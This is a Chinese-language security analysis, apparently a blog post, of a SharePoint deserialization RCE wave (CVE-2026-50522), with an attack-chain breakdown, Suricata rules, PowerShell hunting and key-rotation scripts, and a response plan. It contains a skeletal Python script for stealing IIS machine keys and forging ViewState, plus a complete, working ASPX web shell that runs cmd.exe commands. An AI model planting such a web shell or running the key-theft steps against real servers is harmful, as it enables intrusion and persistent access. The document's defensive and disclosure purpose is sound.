SharePoint CVE-2026-50522 攻击浪潮:CVSS 9.8 反序列化 RCE 从 PoC 到 IIS 机器密钥窃取完整拆解
引言:SharePoint 正在被系统性围猎
2026 年 7 月 14 日,微软在 Patch Tuesday 中修复了 SharePoint Server 的多个严重漏洞。仅 6 天后,安全公司 watchTowr 发布了 CVE-2026-50522 的概念验证(PoC) exploit,随后确认该漏洞已在野外被积极利用。
这不是一个孤立事件。在过去一个月中,SharePoint Server 至少有 5 个 CVE 被确认遭野外利用,CISA 将全部纳入已知被利用漏洞(KEV)目录。攻击者不只是执行代码——他们在窃取 IIS 机器密钥,植入 Web Shell,建立即使打补丁后仍能维持的持久化访问。
本文从漏洞原理、完整攻击链、关联 CVE 矩阵、检测方法到应急响应全流程拆解这场 SharePoint 攻击浪潮。
一、漏洞技术分析
1.1 CVE-2026-50522 基本信息
| 属性 | 值 |
|---|---|
| CVE 编号 | CVE-2026-50522 |
| CVSS 3.1 | 9.8 (Critical) |
| CWE | CWE-502 (不安全反序列化) |
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 需要认证 | 微软称需要 Site Owner 权限,但最新研究表明可能无需认证 |
| 用户交互 | 无需 |
| 影响产品 | SharePoint Server 订阅版 / 2019 / Enterprise Server 2016 |
| 补丁日期 | 2026-07-14 |
| PoC 状态 | watchTowr 于 2026-07-20 公开 |
| 野外利用 | ✅ 已确认积极利用 |
1.2 反序列化漏洞原理
CVE-2026-50522 是一个典型的 .NET 不安全反序列化漏洞。SharePoint Server 使用 .NET 的 BinaryFormatter 或类似机制在处理特定请求时反序列化用户提供的数据。
攻击者 → HTTP 请求 (含序列化 payload)
│
▼
SharePoint Sign-In 端点
│
▼
.NET 反序列化 (BinaryFormatter)
│
▼
攻击者提供的对象被重建
│
▼
构造的 gadget chain 执行
│
▼
任意代码执行 (w3wp.exe 进程上下文)关键细节:
- 研究员 Defused 首先在蜜罐中捕获到未记录的 SharePoint 反序列化攻击流量
- 研究员 Janggggg 随后公开了 PoC 利用代码
- watchTowr 在 7 月 20 日发布完整 PoC 并确认野外利用
- 攻击者利用单个精心构造的请求即可窃取 IIS 机器密钥
1.3 认证争议
微软最初表示利用 CVE-2026-50522 需要 Site Owner 级别权限。但 Defused Cyber 的后续研究发现,攻击者在实际利用中发送的恶意请求不包含认证信息,这与漏洞可能在某些场景下无需认证即可利用的判断一致。
CERT-EU 在 7 月 22 日的安全公告中明确指出:"最新发现表明该漏洞可能无需认证即可利用。" 这大幅扩大了攻击面。
二、完整攻击链拆解
2.1 攻击链概览
阶段 1: 初始访问
├── 发送 .NET 反序列化 payload 到 SharePoint 端点
├── (可能无需认证)
└── 在 w3wp.exe 进程中执行任意代码
阶段 2: 凭证窃取
├── 单条特制请求提取 IIS 机器密钥
├── 机器密钥用于签名ViewState
└── 即使打补丁后仍可伪造认证
阶段 3: 持久化
├── 在 Web 目录植入 Web Shell
├── 使用窃取的密钥签名恶意 token
└── 常规文件扫描和日志分析难以发现
阶段 4: 横向移动
├── 从 SharePoint 收集凭据
├── 访问内部网络资源
└── 部署勒索软件 (INC 勒索组织同期活跃)2.2 IIS 机器密钥窃取
这是本次攻击浪潮中最危险的环节。IIS 机器密钥(machineKey)是 ASP.NET 应用用于签名和加密 ViewState、认证 cookie 等敏感数据的对称密钥。
# IIS 机器密钥窃取的概念性演示 (仅用于防御研究)
# 实际利用需针对目标 SharePoint 版本和配置调整
import requests
import base64
def steal_machine_key(target_url):
"""
通过 CVE-2026-50522 反序列化漏洞,
在单条请求中提取 SharePoint/IIS 机器密钥
"""
# 构造 .NET 反序列化 gadget chain
# 目标: 读取 web.config 中的 machineKey 配置
payload = construct_deserialization_payload(
target_file="C:\\inetpub\\wwwroot\\wss\\VirtualDirectories\\80\\web.config",
extract_pattern="machineKey.*validationKey=\"([^\"]+)\".*decryptionKey=\"([^\"]+)\""
)
# 发送到 SharePoint sign-in 端点
# Defused 观察到攻击者使用此端点, 且请求不含认证信息
endpoint = f"{target_url}/_login/default.aspx"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
# 序列化 payload 通过特定字段传递
}
resp = requests.post(endpoint, data=payload, headers=headers, verify=False)
# 从响应中提取机器密钥
# 实际提取方式取决于 gadget chain 的输出机制
validation_key, decryption_key = parse_response(resp)
return validation_key, decryption_key
def forge_auth_with_stolen_key(target_url, validation_key, decryption_key):
"""
使用窃取的机器密钥伪造认证 token
即使目标已打补丁, 仍然有效!
"""
# 使用窃取的密钥签名恶意 ViewState
# 可以绕过认证, 直接访问管理功能
forged_viewstate = sign_viewstate(
payload="admin_access",
validation_key=validation_key,
decryption_key=decryption_key,
algorithm="AES",
validation_algorithm="HMACSHA256"
)
# 发送伪造的请求
resp = requests.post(
f"{target_url}/_layouts/15/settings.aspx",
data={"__VIEWSTATE": forged_viewstate},
verify=False
)
return resp.status_code关键风险:即使管理员在发现漏洞后立即打补丁,如果攻击者已经在打补丁前窃取了机器密钥,他们仍然可以:
- 伪造认证 cookie 维持访问
- 签名恶意 ViewState 执行代码
- 植入后门 Web Shell
因此,单纯打补丁是不够的——必须同时轮换机器密钥。
2.3 Web Shell 持久化
Resecurity 的报告详细描述了攻击者植入 Web Shell 的操作路径:
// 攻击者植入的典型 Web Shell (简化示例)
// 文件名伪装: /_layouts/15/error.aspx 或 /App_GlobalResources/healthcheck.aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
string cmd = Request.QueryString["c"];
if (!string.IsNullOrEmpty(cmd)) {
var psi = new ProcessStartInfo {
FileName = "cmd.exe",
Arguments = "/c " + cmd,
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true
};
var proc = Process.Start(psi);
Response.Write("<pre>" + proc.StandardOutput.ReadToEnd() + "</pre>");
}
}
</script>Web Shell 的特点:
- 伪装成 SharePoint 原生文件(
_layouts目录下) - 通过 HTTP 接收和执行系统命令
- 混入正常的 Web 服务流量,常规文件扫描难以发现
- 与 IIS 机器密钥窃取配合,形成双重持久化
三、关联 CVE 攻击矩阵
CVE-2026-50522 只是 SharePoint 攻击浪潮的冰山一角。以下 5 个 CVE 已全部被 CISA 纳入 KEV 目录:
| CVE | 类型 | CVSS | 修复时间 | 利用状态 | 认证要求 |
|---|---|---|---|---|---|
| CVE-2026-50522 | 反序列化 RCE | 9.8 | 2026-07 | ✅ 野外利用 | 争议(可能无需) |
| CVE-2026-58644 | 反序列化 RCE | 9.8 | 2026-07 | ✅ 零日利用 | 无需认证 |
| CVE-2026-56164 | 认证缺失 | 9.8 | 2026-07 | ✅ 野外利用 | 无需认证 |
| CVE-2026-45659 | 反序列化 RCE | 8.8 | 2026-05 | ✅ 野外利用 | 需认证 |
| CVE-2026-32201 | 输入验证不当 | 6.5 | 2026-04 | ✅ 野外利用 | 无需认证 |
3.1 攻击者的组合利用策略
攻击者选择路径:
路径 A (无需认证):
CVE-2026-56164 (认证缺失) → 提升权限
→ CVE-2026-58644 (无需认证 RCE) → 代码执行
→ 窃取机器密钥 + Web Shell
路径 B (低权限认证):
CVE-2026-32201 (欺骗) → 获取站点成员身份
→ CVE-2026-45659 (认证 RCE) → 代码执行
→ CVE-2026-50522 (Site Owner RCE) → 完全控制
路径 C (直接利用):
CVE-2026-50522 (争议: 可能无需认证) → 代码执行
→ 窃取机器密钥 + 横向移动3.2 CISA KEV 修复期限
所有 5 个 CVE 均在 CISA KEV 目录中,联邦文职机构必须在约束性操作指令 BOD 22-01 规定的期限内修复:
- CVE-2026-32201:2026 年 5 月修复,KEV 期限已过
- CVE-2026-45659:2026 年 6 月修复,KEV 期限已过
- CVE-2026-50522 / 58644 / 56164:2026 年 7 月修复,KEV 期限紧迫
四、检测与狩猎
4.1 网络层检测
# Suricata / Snort 规则: 检测 SharePoint 反序列化攻击
alert http any any -> $HOME_NET any (
msg: "SharePoint CVE-2026-50522 Deserialization Attempt";
flow: established, to_server;
uricontent: "/_login/default.aspx";
http_method: POST;
content: "BinaryFormatter|3a|";
content: "AAEAAAD/////";
pcre: "/__VIEWSTATE.*[A-Za-z0-9+\/]{500,}/";
reference: cve, 2026-50522;
classtype: attempted-admin;
sid: 20260501;
rev: 1;
)
# 检测异常的 SharePoint sign-in 请求 (无认证信息 + 大 payload)
alert http any any -> $HOME_NET any (
msg: "SharePoint Unauthenticated Large Payload to Sign-In";
flow: established, to_server;
uricontent: "/_login/";
http_method: POST;
dsize: >4096;
content: !"Authorization";
content: !"Cookie";
threshold: type both, count 5, seconds 60, track by_src;
classtype: suspicious-login;
sid: 20260502;
rev: 1;
)4.2 主机层检测
# PowerShell 狩猎脚本: 检测 SharePoint 服务器上的可疑活动
# 1. 检查 w3wp.exe 异常子进程 (代码执行的指标)
Get-WinEvent -FilterHashtable @{
LogName='Security'
Id=4688
Data='w3wp.exe'
} | Where-Object {
$_.Message -match 'cmd\.exe|powershell\.exe|certutil\.exe|bitsadmin\.exe'
} | Select-Object TimeCreated, Message
# 2. 搜索 Web Shell (常见伪装路径)
$webShellPaths = @(
"C:\inetpub\wwwroot\wss\VirtualDirectories\*\*_layouts\15\*.aspx",
"C:\inetpub\wwwroot\wss\VirtualDirectories\*\*App_GlobalResources\*.aspx",
"C:\Program Files\Common Files\microsoft shared\Web Server Extensions\*\*.aspx"
)
foreach ($path in $webShellPaths) {
Get-ChildItem $path -ErrorAction SilentlyContinue | Where-Object {
$_.LastWriteTime -gt (Get-Date).AddDays(-30)
} | ForEach-Object {
$content = Get-Content $_.FullName -Raw
if ($content -match 'Process\.Start|cmd\.exe|/c\s|cmd=|c=') {
[PSCustomObject]@{
File = $_.FullName
Modified = $_.LastWriteTime
Risk = "HIGH"
}
}
}
}
# 3. 检查机器密钥是否被读取 (审核文件访问)
Get-WinEvent -FilterHashtable @{
LogName='Security'
Id=4663
} | Where-Object {
$_.Message -match 'web\.config'
} | Select-Object TimeCreated, Message
# 4. 检查 SharePoint ULS 日志中的反序列化异常
$ulsLogPath = "C:\Program Files\Common Files\microsoft shared\Web Server Extensions\*\LOGS\"
Get-ChildItem $ulsLogPath -Filter "*.log" | Sort-Object LastWriteTime -Descending |
Select-Object -First 5 | ForEach-Object {
Select-String -Path $_.FullName -Pattern "deserialize|BinaryFormatter|serialization" -CaseSensitive:$false
}4.3 EDR 检测策略
| 检测维度 | 指标 | 误报率 |
|---|---|---|
| 进程行为 | w3wp.exe 产生 cmd.exe/powershell.exe 子进程 | 中(合法插件可能触发) |
| 文件系统 | _layouts 或 App_GlobalResources 下新增 .aspx 文件 | 低 |
| 网络流量 | SharePoint sign-in 端点接收大 POST(无认证头) | 中 |
| 事件日志 | 4688 进程创建:w3wp.exe → 异常子进程 | 中 |
| IIS 日志 | POST /_login/ 返回 200 但请求体积异常大 | 中 |
五、应急响应方案
5.1 优先级行动计划
P1 (立即执行):
├── 应用 Microsoft 2026 年 7 月 SharePoint 安全更新
├── 轮换所有 IIS 机器密钥 (即使未确认被窃取)
├── 更改管理员和服务账户凭据
└── 限制 SharePoint 服务器的外部互联网访问
P2 (24 小时内):
├── 审查所有 SharePoint 日志 (IIS W3SVC + ULS)
├── 狩猎 Web Shell 和持久化机制
├── 检查使用旧机器密钥签名的认证 token
└── 审查 SharePoint 登录页面的异常请求
P3 (72 小时内):
├── 完整的入侵评估 (compromise assessment)
├── 审查所有 SharePoint 站点权限变更
├── 检查横向移动指标
└── 审查 INC 勒索组织 IoC
P4 (持续):
├── 监控 CISA KEV 目录更新
├── 订阅 watchTowr / Defused / CISA 通报
└── 重新评估 SharePoint 互联网暴露的必要性5.2 机器密钥轮换
# PowerShell: 生成新的 IIS 机器密钥
# 必须在每台 SharePoint 服务器上执行
# 生成新的 validationKey 和 decryptionKey
$validationKey = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 64 | % {[char]$_})
$decryptionKey = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 32 | % {[char]$_})
Write-Host "New Validation Key: $validationKey"
Write-Host "New Decryption Key: $decryptionKey"
# 更新 web.config
$webConfigPath = "C:\inetpub\wwwroot\wss\VirtualDirectories\80\web.config"
[xml]$config = Get-Content $webConfigPath
$machineKey = $config.configuration.system.web.machineKey
$machineKey.validationKey = $validationKey
$machineKey.decryptionKey = $decryptionKey
$config.Save($webConfigPath)
# 重启 IIS
iisreset /restart
Write-Host "Machine keys rotated. All existing sessions invalidated."
Write-Host "WARNING: Users will need to re-authenticate."5.3 网络隔离方案
┌─────────────────────────────────────────────────┐
│ SharePoint 网络分段建议 │
├─────────────────────────────────────────────────┤
│ │
│ 互联网 ←──→ WAF/反向代理 ←──→ SharePoint 服务器 │
│ │ │ │
│ │ ├── AD 域控 │
│ │ ├── SQL DB │
│ │ └── 文件服务器 │
│ │ │
│ └── 规则: │
│ ├── 仅允许 443 端口 │
│ ├── 阻止 /_login/ 的外部访问 │
│ ├── 限制 POST 体积 │
│ └── 记录所有请求日志 │
│ │
│ 理想状态: SharePoint 不直接暴露在互联网 │
│ 通过 VPN / ZTNA 访问 │
└─────────────────────────────────────────────────┘六、漏洞发现者与披露时间线
| 时间 | 事件 |
|---|---|
| 2026-04 | 微软修复 CVE-2026-32201(输入验证不当) |
| 2026-05 | 微软修复 CVE-2026-45659(反序列化 RCE) |
| 2026-07-14 | 微软 Patch Tuesday 修复 CVE-2026-50522 / 58644 / 56164 |
| 2026-07-14 | CISA 发布 SharePoint 加固警报 |
| 2026-07-20 | watchTowr 发布 CVE-2026-50522 PoC |
| 2026-07-20 | watchTowr 确认野外利用开始 |
| 2026-07-20 | Defused Cyber 发现无认证利用尝试 |
| 2026-07-21 | Resecurity 发布 Web Shell + 机器密钥窃取报告 |
| 2026-07-22 | CERT-EU 发布安全公告 2026-009 |
| 2026-07-22 | CISA 更新 KEV 目录(5 个 SharePoint CVE) |
漏洞发现者:CVE-2026-50522 由 DEVCORE 安全研究员 "splitline" 负责任披露。
七、教训与反思
7.1 SharePoint 成为攻击焦点的深层原因
- 高价值目标:SharePoint 存储企业核心文档和协作数据,是勒索软件的理想入口
- 互联网暴露:大量企业将 SharePoint 直接暴露在互联网,方便远程访问
- 复杂攻击面:SharePoint 的 .NET 反序列化历史问题众多,攻击者熟悉利用路径
- 补丁延迟:本地部署的 SharePoint 补丁速度通常慢于云服务
7.2 "打补丁就够了吗?"
不够。 本次攻击浪潮的核心教训是:攻击者在补丁发布前就已经利用零日漏洞窃取了机器密钥。即使补丁打上了,窃取的密钥仍然有效。
完整的安全响应必须包含:
- ✅ 打补丁
- ✅ 轮换机器密钥
- ✅ 狩猎 Web Shell
- ✅ 检查持久化机制
- ✅ 审查认证日志中的异常
7.3 .NET 反序列化的系统性问题
SharePoint 的反序列化漏洞反复出现(CVE-2026-50522、58644、45659 都是反序列化类型),这反映了 .NET 生态中 BinaryFormatter 的系统性风险。微软已在 .NET 5+ 中弃用 BinaryFormatter,但 SharePoint Server 作为遗留系统仍依赖旧版运行时。
总结
CVE-2026-50522 攻击浪潮展示了一个现代企业攻击的完整生命周期:从零日漏洞利用 → 代码执行 → 凭证窃取 → 持久化 → 横向移动。5 个关联 CVE 的组合利用使得攻击者有多条路径可以突破 SharePoint 防线。
对于仍在运行本地 SharePoint Server 的组织:
- 立即打补丁(7 月安全更新)
- 立即轮换机器密钥(这是最容易被忽略的步骤)
- 限制互联网暴露(最佳实践是通过 VPN/ZTNA 访问)
- 进行入侵评估(如果服务器曾暴露在互联网,假设已被入侵)
CERT-EU 的建议最为直接:"鉴于近期影响 SharePoint 的严重漏洞数量,组织应重新考虑将 SharePoint Server 直接暴露在互联网的做法。"

